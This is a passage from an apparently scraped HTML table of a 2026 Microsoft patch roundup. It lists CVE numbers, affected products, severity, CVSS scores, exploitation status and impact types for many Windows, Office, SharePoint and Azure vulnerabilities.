No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44815</span>\n  DHCP Client Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47291</span>\n  HTTP.sys Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-42824</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45476</span>\n  Microsoft Azure\n  Network Adapter Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44810</span>\n  Microsoft\n  Cryptographic Services Elevation of Privilege Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48579</span>\n  Microsoft Exchange\n  Online Information Disclosure Vulnerability\n  Critical\n  9.1\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-47655</span>\n  Microsoft Graph\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45497</span>\n  Microsoft M365 Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  7.7\n  No\n  No\n  N/A\n  RCE\n \n \n  <span>CVE-2026-45460</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Critical\n  4.7\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45472</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45474</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45461</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45463</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45456</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45458</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47635</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-26142</span>\n  Nuance PowerScribe\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47289</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47654</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-48563</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42992</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44799</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44801</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42985</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45648</span>\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42987</span>\n  Windows Deployment\n  Services (WDS) Remote Code Execution\n  Critical\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-33828</span>\n  Windows Device Health\n  Attestation (DHA) Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-44803</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-44812</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45607</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45641</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47652</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47288</span>\n  Windows Kerberos Key\n  Distribution Center (KDC) Remote Code Execution\n  Critical\n  7.1\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-45657</span>\n  Windows Kernel Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48574</span>\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45490</span>\n  .NET SDK Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45491</span>\n  .NET Tampering\n  Vulnerability\n  Important\n  6.2\n  No\n  No\n  3\n  Tampering\n \n \n  <span>CVE-2026-45591</span>\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-47643</span>\n  Azure Stack Edge\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-41098</span>\n  Azure Stack Edge\n  Spoofing Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45642</span>\n  Microsoft Azure\n  Attestation service and Device Health Attestation Service Spoofing\n  Vulnerability\n  Important\n  3.9\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45650</span>\n  Microsoft Bing Search\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45637</span>\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45647</span>\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40371</span>\n  Microsoft Dynamics 365\n  (on-premises) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44822</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45455</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45469</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44817</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-44818</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44820</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44823</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45459</span>\n  Microsoft Excel\n  Security Feature Bypass Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45504</span>\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45502</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45503</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45583</span>\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45500</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45501</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47631</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42986</span>\n  Microsoft Graphics\n  Component Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-41092</span>\n  Microsoft Kinect\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45644</span>\n  Microsoft Live Share\n  Canvas SDK Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47293</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45485</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44821</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45483</span>\n  Microsoft Office\n  Project Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45475</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44819</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44824</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45645</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-49161</span>\n  Microsoft PC Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  SFB\n \n \n  <span>CVE-2026-42902</span>\n  Microsoft PowerToys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45484</span>\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45454</span>\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47298</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45467</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45468</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45479</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45453</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47636</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47637</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47638</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47639</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47641</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-33113</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45462</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45464</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45465</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47634</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-47640</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-45481</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48560</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-48562</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42835</span>\n  Microsoft Teams for\n  Android Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45606</span>\n  Microsoft UxTheme\n  Library (uxtheme.dll) Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-45482</span>\n  Microsoft Visual\n  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45466</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45471</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45486</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45643</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45457</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42980</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-42916</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45649</span>\n  Office for Android\n  Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47653</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42909</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42913</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42993</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45588</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48568</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48570</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48573</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48575</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48576</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48578</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45654</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45656</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-8863</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-40376</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47281</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-47284</span>\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47292</span>\n  Visual Studio Code\n  MSSQL Extension Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48569</span>\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-47287</span>\n  Visual Studio Code\n  Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42829</span>\n  Windows Administrator\n  Protection Secure Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  \n \n \n  <span>CVE-2026-34335</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45601</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45598</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45596</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45638</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45603</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42911</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45594</span>\n  Windows Application\n  Identity (AppID) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45655</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45658</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45640</span>\n  Windows Bluetooth Port\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45605</span>\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47656</span>\n  Windows Boot Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-44809</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45634</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45608</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-41108</span>\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42905</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-44811</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44808</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44807</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42983</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44802</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44813</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44804</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48566</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44814</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45602</span>\n  Windows Dynamic Host\n  Configuration Protocol (DHCP) Tampering Vulnerability\n  Important\n  9.1\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42836</span>\n  Windows Function\n  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42910</span>\n  Windows Hotpatch\n  Monitoring Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42972</span>\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45592</span>\n  Windows Internet\n  (wininet.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42903</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42914</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-48583</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45653</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42984</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45600</span>\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45604</span>\n  Windows Managed\n  Installer Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45595</span>\n  Windows Mark of the\n  Web Security Feature Bypass Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45636</span>\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-50508</span>\n  Windows NTLM Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48565</span>\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44805</span>\n  Windows Network\n  Controller (NC) Host Agent Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42981</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42974</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45487</span>\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42828</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42837</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42969</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-42971</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42970</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42973</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42978</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42977</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42979</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42991</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45639</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  